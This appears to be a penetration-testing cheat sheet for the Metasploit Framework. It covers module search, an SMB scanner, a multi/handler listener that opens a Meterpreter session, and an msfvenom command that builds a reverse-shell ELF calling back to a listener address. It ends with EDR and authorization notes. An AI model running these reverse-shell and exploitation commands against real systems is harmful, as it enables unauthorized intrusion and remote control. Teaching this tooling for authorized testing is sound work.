Metasploit Framework Command Cheat Sheet
The Metasploit Framework (MSF) is a modular penetration testing platform containing thousands of public exploits, auxiliary reconnaissance modules, post-exploitation scripts, and payload generators.
1. Launching & Initializing msfconsole
Section titled “1. Launching & Initializing msfconsole”What It Does
Section titled “What It Does”Initializes the PostgreSQL database cache (for fast module searches) and starts the interactive Metasploit CLI.
Syntax & Options
Section titled “Syntax & Options”# Initialize or start local PostgreSQL database for msfconsolesudo msfdb initsudo msfdb start
# Launch console in quiet mode (suppresses ASCII banner for speed)msfconsole -qSafe Example & Interpretation
Section titled “Safe Example & Interpretation”msf6 > db_statusExpected Output:
[*] Connected to msf. Connection type: postgresql.Interpretation: Confirms the database is connected. Searching modules will complete in milliseconds rather than scanning the filesystem.
2. Searching & Selecting Modules
Section titled “2. Searching & Selecting Modules”What It Does
Section titled “What It Does”Locates exploits, scanners, and payloads by CVE, protocol, or software vendor.
Syntax & Options
Section titled “Syntax & Options”search [type:<exploit|auxiliary|post>] [name:<string>] [cve:<year-number>]Safe Example & Interpretation
Section titled “Safe Example & Interpretation”msf6 > search type:auxiliary name:smb_versionExpected Output:
Matching Modules================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/scanner/smb/smb_version normal No SMB Version DetectionInterpretation: Displays the path to load with use 0 or use auxiliary/scanner/smb/smb_version.
3. Configuring Auxiliary Network Scanners
Section titled “3. Configuring Auxiliary Network Scanners”What It Does
Section titled “What It Does”Executes non-destructive discovery and version identification across target CIDR blocks without sending exploit code.
Syntax & Options
Section titled “Syntax & Options”use auxiliary/scanner/smb/smb_versionset RHOSTS <target_ip_or_range>set THREADS <concurrency>runSafe Example & Interpretation
Section titled “Safe Example & Interpretation”msf6 > use auxiliary/scanner/smb/smb_versionmsf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.10msf6 auxiliary(scanner/smb/smb_version) > runExpected Output:
[*] 192.168.1.10:445 - Host is running Windows Server 2019 Standard Build 17763 (name:DC01) (domain:CORP.LOCAL)[*] 192.168.1.10:445 - Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completedInterpretation: Reveals exact OS version, NetBIOS computer name, and Active Directory domain membership without triggering crashes.
4. Setting Up Generic Multi/Handler Listeners
Section titled “4. Setting Up Generic Multi/Handler Listeners”What It Does
Section titled “What It Does”Creates an active local listener capable of receiving staged or stageless reverse connections generated by msfvenom or external payloads.
Syntax & Options
Section titled “Syntax & Options”use exploit/multi/handlerset PAYLOAD <matching_payload>set LHOST <local_listening_ip>set LPORT <local_listening_port>run -j # Runs handler as a background jobSafe Example & Interpretation
Section titled “Safe Example & Interpretation”msf6 > use exploit/multi/handlermsf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set LHOST 10.10.14.25msf6 exploit(multi/handler) > set LPORT 4444msf6 exploit(multi/handler) > runExpected Output:
[*] Started reverse TCP handler on 10.10.14.25:4444[*] Sending stage (3045380 bytes) to 10.10.110.45[*] Meterpreter session 1 opened (10.10.14.25:4444 -> 10.10.110.45:49201)meterpreter >Interpretation: The reverse connection succeeded and established an interactive Meterpreter session.
5. Payload Generation with msfvenom
Section titled “5. Payload Generation with msfvenom”What It Does
Section titled “What It Does”Generates standalone shellcode, executables, or script payloads for educational lab verification.
Syntax & Options
Section titled “Syntax & Options”msfvenom -p <payload> LHOST=<local_ip> LPORT=<port> -f <format> -o <output_filename>-p: Payload string (windows/x64/meterpreter/reverse_tcp,linux/x64/shell_reverse_tcp).-f: Output format (elf,exe,raw,python,war).-o: Output destination file.
Safe Example & Interpretation
Section titled “Safe Example & Interpretation”msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.25 LPORT=4444 -f elf -o lab_test.elfExpected Output:
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload[-] No arch selected, selecting Arch: x64 from the payloadNo encoder specified, outputting raw payloadPayload size: 74 bytesFinal size of elf file: 194 bytesSaved as: lab_test.elfInterpretation: Created a 194-byte standalone ELF binary configured to connect back to 10.10.14.25:4444 when executed in the lab environment.
6. Defensive & Authorization Considerations
Section titled “6. Defensive & Authorization Considerations”- High Antivirus & EDR Signatures: Standard Metasploit payloads and Meterpreter signatures are heavily fingerprinted by modern EDRs (Defender for Endpoint, CrowdStrike, SentinelOne). In defensive engineering, monitor Event ID
1(Process Creation) and Event ID3(Network Connection) in Sysmon for suspicious outbound traffic from unapproved processes. - Never Blindly Fire Unknown Exploits: Exploits targeting kernel vulnerabilities or buffer overflows can crash services (causing a Denial of Service) or crash the entire operating system (Kernel Panic / BSoD). In testing, always check the
Rank(e.g.,Excellent,Great) and verify on an isolated snapshot clone first.